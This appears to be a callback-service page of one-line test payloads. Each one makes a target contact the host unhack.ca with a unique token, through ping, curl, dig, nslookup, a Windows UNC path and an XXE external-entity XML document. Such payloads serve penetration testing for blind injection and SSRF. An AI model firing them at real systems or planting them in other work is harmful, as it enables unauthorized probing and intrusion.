$ ping -c1 -p 00bf9bf94bba6fc1cc611a055706d800 unhack.ca
 

$ curl http://unhack.ca/p/bf9bf94bba6fc1cc611a055706d8
 

$ dig bf9bf94bba6fc1cc611a055706d8 @unhack.ca
 

$ dig bf9bf94bba6fc1cc611a055706d8.ns.unhack.ca
 

C:\> nslookup bf9bf94bba6fc1cc611a055706d8 unhack.ca
 

C:\> type \\unhack.ca\bf9bf94bba6fc1cc611a055706d8\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/bf9bf94bba6fc1cc611a055706d8">]>
    <foo>&xxe;</foo>